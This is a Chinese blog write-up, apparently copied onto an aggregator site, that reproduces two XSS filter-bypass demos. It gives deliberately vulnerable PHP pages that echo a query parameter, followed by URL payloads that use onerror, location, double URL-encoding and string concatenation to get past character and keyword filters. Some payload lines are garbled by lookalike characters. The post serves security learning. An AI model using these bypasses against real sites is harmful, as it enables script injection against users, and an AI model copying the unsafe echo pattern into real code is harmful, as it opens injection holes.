码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 复现urlcode编码绕过xss限制两个demo


    复现urlcode编码绕过xss限制两个demo

    后端源码:demo.php

    
    header('X-XSS-Protection: 0');
    $xss = isset($_GET['xss'])?$_GET['xss']:'';
    $xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
    echo "{$xss}\">";
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    'X-XSS-Protection: 0' 的意思是关闭浏览器xss防护,因为以前chrome,Firefox都有xss防护机制

    $xss = isset($_GET['xss'])?$_GET['xss']:'' 是三元运算符,?前为判断条件当前面的值为真,则运行":“前的,为假运行”:"后的。

    首先:

    我们要逃出双引号的限制,才能运行我们的恶意代码

    demo.php?xss=aaa" οnerrοr="alert(1)img src=“aaa” οnerrοr=“alert1”
    demo.php?xss=aaa" οnerrοr="alert%281%29img src=“aaa” οnerrοr=“alert1”
    demo.php?xss=aaa" οnerrοr="alert%25281%2529img src=“aaa” οnerrοr=“alert%281%29”
    demo.php?xss=aaa" οnerrοr=location="alert(1)
    demo.php?xss=aaa" οnerrοr=location="alert%25281%2529
    demo.php?xss=aaa" οnerrοr=location="javascript:alert%25281%2529bypass

    在这里插入图片描述

    后端代码:demo1.php

    
    header('X-XSS-Protection: 0');
    $xss = isset($_GET['xss'])?$_GET['xss']:'';
    $xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
    if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
        exit('bad');
    }
    echo "{$xss}\">";
    ?>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在上面的基础上进一步过滤script、document、cookie、eval、setTimeout、alert关键字。

    因为onerror是js函数,不能编码符号,因此还是需要location这样的函数将其变为字符串拼接绕过。

    拼接时需注意,符号:”+“和”:“都需编码(卡了我好久才发现问题)

    URL编码

    >>> ord(":")
    58
    \>>> hex(58)
    '0x3a'
    
    \>>> ord("+")
    43
    \>>> hex(43)
    '0x2b'
    \>>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    过程如下:

    demo1.php?xss=aaa" οnerrοr=location="javascript:alert(1)bad
    demo1.php?xss=aaa"%20οnerrοr=location=“javas”+“cript:al”+"ert%25281%2529bad
    demo1.php?xss=aaa"%20οnerrοr=location=“javas”%2b"cript%3aal"%2b"ert%25281%2529bypass

    οnerrοr=location=“javas”%2b"cript%3aal"%2b"ert%25281%2529 | bypass |

    在这里插入图片描述

  • 相关阅读:
    Spring Cloud OpenFeign(声明式服务调用)
    mapstruct实现各个实体间的类型转换(DTO转BO、BO转Entity)的实践
    Kafka安装启动(含安装包)
    Kubernetes二进制部署——理论部分
    第四章 决策树
    JAVA计算机毕业设计中医保健网站Mybatis+系统+数据库+调试部署
    OneDrive下的OneNote扩容方法,及查看OneDrive容量的方法(详细图文教程)
    50.Python-web框架-Django中引入静态的bootstrap样式
    华为云云耀云服务器L实例评测 |云服务器性能评测
    【Pytorch Lighting】第 8 章:自监督学习
  • 原文地址:https://blog.csdn.net/weixin_44811851/article/details/127781330
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号